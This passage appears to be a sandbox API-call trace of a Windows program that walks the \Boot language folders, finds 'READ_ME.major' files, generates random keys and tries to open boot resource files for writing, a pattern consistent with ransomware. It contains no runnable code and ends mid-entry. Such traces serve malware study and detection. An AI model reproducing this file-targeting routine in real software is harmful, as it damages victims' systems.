[0142.741] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0142.741] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0142.741] CreateFileW (lpFileName="\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.741] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0142.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0142.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0142.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca80 [0142.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cc850 | out: hHeap=0x570000) returned 1 [0142.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0142.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0142.742] FindFirstFileW (in: lpFileName="\\Boot\\en-GB\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x8099c4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b52f0 [0142.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0142.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0142.742] GetLastError () returned 0x5 [0142.742] SetLastError (dwErrCode=0x5) [0142.742] GetLastError () returned 0x5 [0142.742] SetLastError (dwErrCode=0x5) [0142.742] GetLastError () returned 0x5 [0142.742] SetLastError (dwErrCode=0x5) [0142.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0142.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0142.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0142.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0142.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b58b0 [0142.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b58b0 | out: hHeap=0x570000) returned 1 [0142.742] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404f8 [0142.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404f8 | out: hHeap=0x570000) returned 1 [0142.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0142.742] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0142.742] FindNextFileW (in: hFindFile=0x5b52f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x8099c4f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0142.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0142.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0142.743] GetLastError () returned 0x5 [0142.743] SetLastError (dwErrCode=0x5) [0142.743] GetLastError () returned 0x5 [0142.743] SetLastError (dwErrCode=0x5) [0142.743] GetLastError () returned 0x5 [0142.743] SetLastError (dwErrCode=0x5) [0142.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e900 [0142.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0142.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0142.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0142.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b58b0 [0142.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b58b0 | out: hHeap=0x570000) returned 1 [0142.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0142.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0142.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0142.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e900 | out: hHeap=0x570000) returned 1 [0142.743] FindNextFileW (in: hFindFile=0x5b52f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0142.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0142.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0142.743] GetLastError () returned 0x5 [0142.743] SetLastError (dwErrCode=0x5) [0142.743] GetLastError () returned 0x5 [0142.743] SetLastError (dwErrCode=0x5) [0142.743] GetLastError () returned 0x5 [0142.743] SetLastError (dwErrCode=0x5) [0142.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0142.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0142.743] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0142.743] FindNextFileW (in: hFindFile=0x5b52f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8099c4f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x8099c4f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x80bfe35, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0142.743] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0142.744] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0142.744] GetLastError () returned 0x5 [0142.744] SetLastError (dwErrCode=0x5) [0142.744] GetLastError () returned 0x5 [0142.744] SetLastError (dwErrCode=0x5) [0142.744] GetLastError () returned 0x5 [0142.744] SetLastError (dwErrCode=0x5) [0142.744] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0142.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0142.744] FindNextFileW (in: hFindFile=0x5b52f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8099c4f, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x8099c4f, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x80bfe35, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0142.744] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0142.744] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0142.744] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.744] SetFileAttributesW (lpFileName="\\Boot\\en-GB\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0142.744] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0142.744] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0142.744] CreateFileW (lpFileName="\\Boot\\en-GB\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-gb\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0142.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0142.744] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0142.744] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0142.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca80 | out: hHeap=0x570000) returned 1 [0142.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0142.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0142.745] FindFirstFileW (in: lpFileName="\\Boot\\en-US\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x80bfe35, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b58b0 [0142.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0142.745] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0142.745] GetLastError () returned 0x5 [0142.745] SetLastError (dwErrCode=0x5) [0142.745] GetLastError () returned 0x5 [0142.745] SetLastError (dwErrCode=0x5) [0142.745] GetLastError () returned 0x5 [0142.745] SetLastError (dwErrCode=0x5) [0142.745] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0142.745] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee70 [0142.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0142.745] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0142.745] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b58f0 [0142.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b58f0 | out: hHeap=0x570000) returned 1 [0142.745] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40648 [0142.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40648 | out: hHeap=0x570000) returned 1 [0142.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0142.745] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0142.746] FindNextFileW (in: hFindFile=0x5b58b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x80bfe35, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0142.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0142.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0142.746] GetLastError () returned 0x5 [0142.746] SetLastError (dwErrCode=0x5) [0142.746] GetLastError () returned 0x5 [0142.746] SetLastError (dwErrCode=0x5) [0142.746] GetLastError () returned 0x5 [0142.746] SetLastError (dwErrCode=0x5) [0142.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef90 [0142.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee70 [0142.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0142.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0142.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b58f0 [0142.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b58f0 | out: hHeap=0x570000) returned 1 [0142.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0142.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0142.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0142.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef90 | out: hHeap=0x570000) returned 1 [0142.746] FindNextFileW (in: hFindFile=0x5b58b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0142.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0142.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0142.746] GetLastError () returned 0x5 [0142.746] SetLastError (dwErrCode=0x5) [0142.746] GetLastError () returned 0x5 [0142.746] SetLastError (dwErrCode=0x5) [0142.746] GetLastError () returned 0x5 [0142.746] SetLastError (dwErrCode=0x5) [0142.746] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0142.746] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0142.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0142.747] FindNextFileW (in: hFindFile=0x5b58b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0142.747] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0142.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0142.747] GetLastError () returned 0x5 [0142.747] SetLastError (dwErrCode=0x5) [0142.747] GetLastError () returned 0x5 [0142.747] SetLastError (dwErrCode=0x5) [0142.747] GetLastError () returned 0x5 [0142.747] SetLastError (dwErrCode=0x5) [0142.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0142.747] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0142.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0142.747] FindNextFileW (in: hFindFile=0x5b58b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bfe35, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x80bfe35, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x80bfe35, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0142.747] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0142.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0142.747] GetLastError () returned 0x5 [0142.747] SetLastError (dwErrCode=0x5) [0142.747] GetLastError () returned 0x5 [0142.747] SetLastError (dwErrCode=0x5) [0142.747] GetLastError () returned 0x5 [0142.747] SetLastError (dwErrCode=0x5) [0142.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0142.747] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0142.747] FindNextFileW (in: hFindFile=0x5b58b0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bfe35, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x80bfe35, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x80bfe35, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0142.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0142.747] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0142.747] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.747] SetFileAttributesW (lpFileName="\\Boot\\en-US\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0142.748] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0142.748] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.748] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0142.748] CreateFileW (lpFileName="\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.748] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.748] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0142.748] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0142.748] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0142.748] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0142.748] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0142.748] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.748] SetFileAttributesW (lpFileName="\\Boot\\en-US\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0142.748] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0142.748] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.748] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0142.749] CreateFileW (lpFileName="\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0142.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0142.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0142.749] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0142.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0142.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0142.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccfa8 | out: hHeap=0x570000) returned 1 [0142.749] FindFirstFileW (in: lpFileName="\\Boot\\es-ES\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x80bfe35, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5b58f0 [0142.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0142.749] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0142.749] GetLastError () returned 0x5 [0142.749] SetLastError (dwErrCode=0x5) [0142.749] GetLastError () returned 0x5 [0142.749] SetLastError (dwErrCode=0x5) [0142.749] GetLastError () returned 0x5 [0142.749] SetLastError (dwErrCode=0x5) [0142.749] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0142.749] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0142.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0142.749] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0142.749] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5930 [0142.749] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5930 | out: hHeap=0x570000) returned 1 [0142.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405b8 [0142.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405b8 | out: hHeap=0x570000) returned 1 [0142.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0142.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0142.750] FindNextFileW (in: hFindFile=0x5b58f0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x80bfe35, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0142.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0142.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7840 [0142.750] GetLastError () returned 0x5 [0142.750] SetLastError (dwErrCode=0x5) [0142.750] GetLastError () returned 0x5 [0142.750] SetLastError (dwErrCode=0x5) [0142.750] GetLastError () returned 0x5 [0142.750] SetLastError (dwErrCode=0x5) [0142.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ebd8 [0142.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0142.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0142.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccfa8 [0142.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5b5930 [0142.750] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5930 | out: hHeap=0x570000) returned 1 [0142.750] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 